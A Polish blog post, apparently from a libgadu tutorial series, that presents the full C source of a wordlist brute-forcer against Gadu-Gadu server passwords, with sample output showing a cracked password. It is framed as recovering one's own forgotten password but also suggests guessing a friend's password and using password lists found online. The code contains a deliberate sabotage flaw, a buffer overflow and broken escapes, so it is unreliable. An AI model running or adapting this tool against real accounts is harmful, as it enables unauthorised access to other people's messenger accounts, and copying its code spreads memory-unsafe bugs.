Libgadu #6 – Jak złamać hasło do gadu-gadu na serwer?

haslo ggŁamanie lokalnego hasła GG ogranicza się jedynie do kilku kliknięć myszką. Co prawda zabieg ten trudno nazwać „łamaniem”, gdyż hasło po prostu dekoduje się korzystając z ogólnodostępnego algorytmu szyfrowania GG. Hasło to często jest identyczne z tym na serwerze.

Człowiek nie ma pamięci doskonałej. Bywa, że to hasło po prostu wyleci nam z głowy i nie mamy możliwości jego przypomnienia, bo nie znamy hasła do e-maila. Łamanie hasła lokalnego także nie wchodzi w grę, jeśli jesteśmy po formacie. Jedynym rozwiązaniem pozostaje być własnoręczne odgadnięcie hasła, bądź skorzystanie z brutusa, takiego, który pragnę Wam zademonstrować.

Brutus to połączenie dwóch znanym nam już programów wysylanie.c oraz brut.c. Do jego prawidłowego działania potrzebujemy plik tekstowy z hasłami, rozdzielonymi znakami nowej linii, np.

asia

qwerty

123456

admin123

haslo123

[…]

Program będzie działać dopóki nie złamie hasła, bądź nie dojdzie do końca pliku z hasłami.

/*
Program ma za zadanie testowac
Numer na podane w pliku hasla
Linia po linii.
 
Program powstal dla tych,
Ktorzy pamietaja swoj numer
Do komunikatora, ale nie
Pamietaja hasla ;-)
 
Zdarza sie tak, ze
Zapominamy hasla do e-maila
I nie mozemy przypomniec
Hasla z serwera :-)
 
Autor:
Komeniusz [Nie odpowiadam za uzycie tego programu!]
Licencja: GNU - edukacyjna!
 
Program testowano na:
System: Ubuntu 9.10
Biblioteka: Libgadu 1.9.0-rc2 (wersja testowa)
 
Download Libgadu: http://toxygen.net/libgadu/
Dokumentacja Libgadu: http://toxygen.net/libgadu/doc/
*/
//Niezbędne biblioteki
#include <unistd.h> //sleep
#include <stdlib.h> //atoi
#include <string.h> //memset
#include "libgadu.h" //libgadu :-)
 
int main(int argc, char **argv)
{
    struct gg_session *sess;
    struct gg_event *e;
    struct gg_login_params p;
 
/*
Jesli chcemy wyswietlac informacje od serwera
nalezy ustawic ta wartosc na 255
*/
    gg_debug_level = 0;
 
/*
Jesli podamy za malo parametrow
wypluwamy info o bledzie i konczymy program
*/
if (argc < 3) {
    fprintf(stderr, "uzycie: %s <numer> <plik z haslami>n", argv[0]);
    return 1;
}
 
/*
Deklarujemy zmienne potrzebne do
zliczenia ilosci wierszy
*/
FILE *plik;
int wiersz = 0;
char znak;
 
//Jesli nie ma pliku z haslami
if((plik = fopen(argv[2], "r")) == NULL)
{
//Informujemy o bledzie i konczymy dzialanie programu
    printf("nie mogę otworzyć pliku n");
    return 1;
}
 
//Dopoki nie dojedziemy do konca pliku
while((znak = getc(plik)) != EOF)
{
    if(znak == 'n') { //Zliczamy ilosc wierszy
        ++wiersz;
    }
}
 
/*
Odczytujemy wiersz
po wierszu z pliku
i zapisujemy wartosc
do zmiennej
*/
FILE *pFile;
int i=0;
char haslo[3];
pFile = fopen(argv[2], "r");
 
/*
Jesli nie ma pliku z haslami
Informujemy o bledzie i konczymy dzialanie programu
*/
if(pFile == NULL) {
    printf("Blad odczytu pliku");
    return 1;
} else {
/*
Jazda ;D
*/
    for(i=0;i<=wiersz-1;i++) {
        fgets(haslo, 131072, pFile);
 
//Zwalniamy pamiec
        memset(&p, 0, sizeof(p));
//Deklarujemy aktualnie testowany numer, ten sam co wczesniej
        p.uin = atoi(argv[2]);
//Zmienna pomocnicza, aby obciac enter
        char x;
//Zmienna pomocnicza = haslo z enterem
        x=strlen(haslo);
//Haslo z enterem = haslo bez entera
        haslo[x-2]='�';
 
//Deklarujemy aktualnie testowane haslo
        p.password = haslo;
 
/*
Jesli haslo sie nie zgadza
*/
        if (!(sess = gg_login(&p))) {
/*
Ponizsza linie mozna odkomentowac,
jesli chcemy wyswietlac informacje
o haslach, ktore nie przeszly testu
*/
            printf("Bashed: -%s- n -------------------- n", haslo);
/*
Zwalnaimy pamiec
*/
            gg_free_session(sess);
		} else { //Jesli zgadlismy haslo drukujemy je
        	printf("Cracked: %s n -------------------- n", haslo);
        	return 1;
        }
 
/*
Zwalniamy pamiec
*/
        gg_logoff(sess);
        gg_free_session(sess);
    }
}
 
    return 0; //zakonczenie programu
}

Przykład działania programu

komeniusz@cyber-jadro:~/libgadu/examples$ gcc -o brutusik brutusik.c -lgadu
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik
uzycie: ./brutusik <numer> <plik z haslami>
komeniusz@cyber-jadro:~/libgadu/examples$ ./brutusik 123456 hasla.txt
Bashed: -A-
——————–
Bashed: -A117S5-
——————–
Bashed: -A14530-
——————–
Bashed: -A1lc1u-
——————–
Bashed: -A2005K-
——————–
Bashed: -A23-
——————–
Cracked: admin
——————–
komeniusz@cyber-jadro:~/libgadu/examples$

Jak widać program złamał hasło, a jest nim słowo „admin„.

UWAGA!
W programie zawarte jest zabezpieczenie anti script kiddie, aby ktoś, kto nie rozumie programu nie miał możliwości bezmyślnego SPIM’owania innych użytkowników.

Skąd wziąć plik z hasłami?

  • Można stworzyć go samodzielnie wpisując najbardziej typowe hasła jak „qwerty„, „123456„, „haslo123„, „imie<numer>„. Hasłem często są zdrobnienia imion, więc jeśli łamiemy hasło koleżanki o imieniu Małgorzata (łamiemy jej hasło, gdyż go zapomniała i poprosiła nas o pomoc) hasłem może być „malgosia„.
  • W sieci dostępne są gotowe pliki z hasłami, wystarczy poszukać.

2 thoughts on “Libgadu #6 – Jak złamać hasło do gadu-gadu na serwer?

    1. Mhh… Bystrzak ;D

      Sleep’a włączyłem podczas testów i najwidoczniej zapomniałem usunąć tą bibliotekę

Skomentuj komeniusz Anuluj pisanie odpowiedzi

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *